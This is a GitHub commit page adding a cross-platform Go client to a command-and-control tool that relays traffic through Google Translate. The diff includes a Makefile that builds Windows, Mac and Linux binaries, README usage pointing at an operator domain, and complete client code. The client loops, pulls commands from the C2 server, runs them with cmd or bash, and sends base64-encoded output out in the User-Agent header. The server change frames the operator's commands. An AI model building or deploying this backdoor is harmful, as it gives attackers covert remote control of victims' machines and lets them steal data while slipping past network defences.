Skip to content

Commit

Permalink
Go agent
Browse files Browse the repository at this point in the history
  • Loading branch information
mthbernardes committed Dec 7, 2018
1 parent a575b19 commit 36bc380
Show file tree
Hide file tree
Showing 4 changed files with 165 additions and 5 deletions.
9 changes: 9 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
build:
mkdir -p `pwd`/bin
GOOS=windows GOARCH=amd64 go build -o `pwd`/bin/client_Windows64.exe client.go
GOOS=windows GOARCH=386 go build -o `pwd`/bin/client_Windows.exe client.go
GOOS=darwin GOARCH=386 go build -o `pwd`/bin/client_Mac client.go
go build -o `pwd`/bin/client_Linux client.go

clean:
rm -Rf `pwd`/bin
17 changes: 14 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,23 +8,34 @@ This tools uses [Google Translator](https://translate.google.com) as a proxy to
# Environment Configuration
First you need a VPS and a domain, for the domain you can get a free one on [Freenom](https://freenom.com/).

# Usage
# Server
Start the server.py on your VPS
```bash
python2.7 server.py
Server running on port: 80
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062
```
It will provide you secret key which will be used on the client.sh, run the client on a computer with access to [Google Translator](https://translate.google.com), providing domain and the secret key generated by the server.
It will provide you secret key which will be used on the client.

# Client bash
Run the client on a computer with access to [Google Translator](https://translate.google.com), providing domain and the secret key generated by the server.

```bash
bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
```
Now you have an interactive shell using named pipe files, **YES** you can `cd` into directories.

# Client Go
You first need to download the binarie or compile it, then the processe is equal of the bash client,
```bash
./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
```
With this client you have the hability to run it on Linux, Mac and Windows, but the client do not have a interactive shell yet.

# Poc
[![CODE_IS_CHEAP_SHOW_ME_THE_DEMO](http://img.youtube.com/vi/02CFsE0k96E/0.jpg)](http://www.youtube.com/watch?v=02CFsE0k96E)

# Known issues
* ~~Google translate does not forward POST data, so there's a limit on the amount of data that your server can receive, for example, you'll probably not being able to read a big file like `.bashrc`.~~ `Problem fixed using User-Agent header to sent data`.
* ~~The client script works on Mac an Linux, but on Linux you need to install the `xmllint` which is on `libxml2-utils`~~ `Problem fixed, now the client is write also in go.
* It's not a problem, but I just don't know if there's a rate limit on Google Translator
* The client script works on Mac an Linux, but on Linux you need to install the `xmllint` which is on `libxml2-utils`
139 changes: 139 additions & 0 deletions client.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,139 @@
package main

import (
"bytes"
"encoding/base64"
"fmt"
"log"
"net/http"
"os"
"os/exec"
"runtime"
"strings"
"github.com/antchfx/htmlquery"
"golang.org/x/net/html"
"golang.org/x/net/html/charset"
)

type requestData struct {
url string
userAgent string
method string
}

var C2URL string
var USERAGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
var RESULT string

func xpathParser(html *html.Node, xpath string) string {
a := htmlquery.FindOne(html, xpath)
return htmlquery.InnerText(a)
}

func Encode(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}

func parseCommand(command string) string {
if strings.Contains(command, "STARTCOMMAND") {
startIndex := strings.Index(command, "STARTCOMMAND")
endIndex := strings.Index(command, "ENDCOMMAND")
return command[startIndex+len("STARTCOMMAND") : endIndex]
} else {
return ""
}
}

func doRequest(request requestData, printar bool) (*html.Node, error) {
client := http.Client{}
req, err := http.NewRequest(request.method, request.url, nil)
req.Header.Add("User-Agent", request.userAgent)
resp, err := client.Do(req)
if err != nil {
return nil, err
}
r, err := charset.NewReader(resp.Body, resp.Header.Get("Content-Type"))
if err != nil {
return nil, err
}
return html.Parse(r)
}

func interact(request requestData) *html.Node {
resp, err := doRequest(request, false)
if err != nil {
fmt.Println(err)
}
return resp
}

func translateFlow() string {
return thirdStep(secondStep(firstStep()))
}

func firstStep() string {
request := requestData{
url: "https://translate.google.com/translate?&anno=2&u=" + C2URL,
userAgent: USERAGENT,
method: "GET",
}
result := xpathParser(interact(request), "//iframe/@src")
return result

}

func secondStep(url string) string {
request := requestData{
url: url,
userAgent: USERAGENT,
method: "GET",
}

result := xpathParser(interact(request), "//a/@href")
return result
}

func thirdStep(url string) string {
var useragent string
if len(RESULT) != 0 {
useragent = RESULT
} else {
useragent = USERAGENT
}

request := requestData{
url: url,
userAgent: useragent,
method: "GET",
}

var b bytes.Buffer
html.Render(&b, interact(request))
return parseCommand(b.String())
}

func execCommand(cmd string) {
var output []byte
if runtime.GOOS == "windows" {
output, _ = exec.Command("cmd", "/c", cmd).Output()
} else {
output, _ = exec.Command("bash", "-c", cmd).Output()
}

RESULT = USERAGENT + " | " + Encode(output)
translateFlow()
}

func main() {
args := os.Args
if len(args) < 3 {
log.Fatal("Usage Error\n" + args[0] + " www.c2server.ml secret-key")
}
key := args[2]
C2URL = "http://" + args[1] + "/?key=" + key
for {
execCommand(translateFlow())
RESULT = ""
}
}

5 changes: 3 additions & 2 deletions server.py
100644 → 100755
Original file line number Diff line number Diff line change
Expand Up @@ -21,10 +21,10 @@ def do_GET(self,):
if len(useragent) == 2:
response = useragent[1].split(',')[0]
print(response.decode("base64"))
self.wfile.write("")
self.wfile.write("Not Found")
return
cmd = raw_input("$ ")
self.wfile.write("{}".format(cmd))
self.wfile.write("STARTCOMMAND{}ENDCOMMAND".format(cmd))
return
self.send_response(404)
self.send_header("Content-type","text/html")
Expand All @@ -43,3 +43,4 @@ def log_message(self, format, *args):
except KeyboardInterrupt:
server.socket.close()


0 comments on commit 36bc380

Please sign in to comment.